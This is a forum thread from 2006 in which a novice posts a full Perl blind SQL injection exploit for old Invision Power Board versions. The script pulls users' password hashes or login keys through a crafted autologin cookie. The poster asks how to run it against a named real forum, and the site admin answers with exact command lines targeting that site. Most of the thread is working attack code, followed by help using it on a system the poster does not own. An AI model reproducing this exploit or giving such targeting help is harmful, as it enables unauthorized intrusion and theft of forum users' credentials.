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www.waraxe.us Forum Index -> Sql injection -> I know everything just wanna know what to type in CMD
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I know everything just wanna know what to type in CMD
PostPosted: Wed Dec 13, 2006 9:02 pm Reply with quote
S0ULEDGE
Beginner
Beginner
 
Joined: Dec 13, 2006
Posts: 3




Errm my file is saved as ipb.pl in the bin directory

The exploit is


#!/usr/bin/perl

## Invision Power Board SQL injection exploit by RST/GHC
## vulnerable forum versions : 1.* , 2.* (<2.0.4)
## tested on version 1.3 Final and version 2.0.2
## * work on all mysql versions
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
## (c)oded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## screen:
## ~~~~
## r57ipb2.pl blah.com /ipb13/ 1 0
## [~] SERVER : blah.com
## [~] PATH : /ipb13/
## [~] MEMBER ID : 1
## [~] TARGET : 0 - IPB 1.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99
##
## r57ipb2.pl blah.com /ipb202/ 1 1
## [~] SERVER : blah.com
## [~] PATH : /ipb202/
## [~] MEMBER ID : 1
## [~] TARGET : 1 - IPB 2.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Greets: James Bercegay of the GulfTech Security Research Team
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

use IO::Socket;

if (@ARGV < 4) { &usage; }

$server = $ARGV[0];
$path = $ARGV[1];
$member_id = $ARGV[2];
$target = $ARGV[3];

$pass = ($target)?('member_login_key'):('password');

$server =~ s!(http:\/\/)!!;

$request = 'http://';
$request .= $server;
$request .= $path;

$s_num = 1;
$|++;
$n = 0;

print "[~] SERVER : $server\r\n";
print "[~] PATH : $path\r\n";
print "[~] MEMBER ID : $member_id\r\n";
print "[~] TARGET : $target";
print (($target)?(' - IPB 2.*'):(' - IPB 1.*'));
print "\r\n";
print "[~] SEARCHING PASSWORD ... [|]";

($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

while(1)
{
if(&found(47,58)==0) { &found(96,122); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{\b\b DONE ]

MEMBER ID : $member_id
};
print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : '));
print $allchar."\r\n";
}
else
{
print "\b\b FAILED ]";
}
exit();
}
else
{
$allchar .= chr(42);
}
$s_num++;
}

sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }

$r = int($fmax - ($fmax-$fmin)/2);
$check = " BETWEEN $r AND $fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}

sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}

sub check($)
{
$n++;
status();
$ccheck = $_[0];
$pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D";
$pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75" . "%62%73%74%72%69%6E%67%28";
$pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$nmalykh = "%20%EC%E0%EB%FB%F5%20%2D%20%EF%E8%E4%E0%F0" . "%E0%F1%21%20";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");

printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n",
$path, $server, $cmember_id, $pass_hash1, $cmember_id, $pass_hash2, $pass_hash3, $nmalykh);

while(<$socket>)
{
if (/Set-Cookie: session_id=0;/) { return 1; }
}

return 0;
}

sub status()
{
$status = $n % 5;
if($status==0){ print "\b\b/]"; }
if($status==1){ print "\b\b-]"; }
if($status==2){ print "\b\b\\]"; }
if($status==3){ print "\b\b|]"; }
}

sub usage()
{
print q(
Invision Power Board v < 2.0.4 SQL injection exploit
----------------------------------------------------
USAGE:
~~~
r57ipb2.pl [server] [/folder/] [member_id] [target]

[server] - host where IPB installed
[/folder/] - folder where IPB installed
[member_id] - user id for brute

targets:
0 - IPB 1.*
1 - IPB 2.* (Prior To 2.0.4)

e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1
----------------------------------------------------
(c)oded by 1dt.w0lf
RST/GHC , http://rst.void.ru , http://ghc.ru
);
exit();
}

I wanna know what to type in to get the hashes off the 1st registered user of a forum. Can we use www.hackthissite.com/forum as an example please

Help is greatly appreciated and im new =z
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PostPosted: Wed Dec 13, 2006 10:11 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




You need to know ipb version and target user userid.

If user has "userid" 1 and ipb version is 1.* :

Code:

ipb.pl  www.hackthissite.com  /forum/  1  0 


If user has "userid" 1 and ipb version is 2.* :

Code:

ipb.pl  www.hackthissite.com  /forum/  1  1 
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PostPosted: Wed Dec 13, 2006 10:32 pm Reply with quote
S0ULEDGE
Beginner
Beginner
 
Joined: Dec 13, 2006
Posts: 3




I tried but neva worked i got this and the version of the board is 2.1.7



oooo i need to know what the forum folder is o_0 thanks for yourhelp by the way
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PostPosted: Thu Dec 14, 2006 12:43 am Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




S0ULEDGE wrote:
I tried but neva worked i got this and the version of the board is 2.1.7


Oops - this exloit is meant to be for versions < 2.0.4, so this can't work any way! You need some exploit for IPB 2.1.7 Smile
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I know everything just wanna know what to type in CMD
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